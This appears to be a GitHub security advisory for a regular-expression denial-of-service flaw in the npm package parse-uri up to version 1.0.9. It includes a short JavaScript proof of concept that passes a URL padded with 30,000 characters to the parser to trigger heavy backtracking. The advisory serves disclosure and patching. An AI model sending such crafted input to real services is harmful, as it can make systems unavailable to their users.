GHSA-6fx8-h7jm-663jMedium
parse-uri Regular expression Denial of Service (ReDoS)
🔗 CVE IDs covered (1)
📋 Description
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
PoC
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
🎯 Affected products2
- npm/parse-uri:<= 1.0.9
- npm/parseuri:< 2.0.0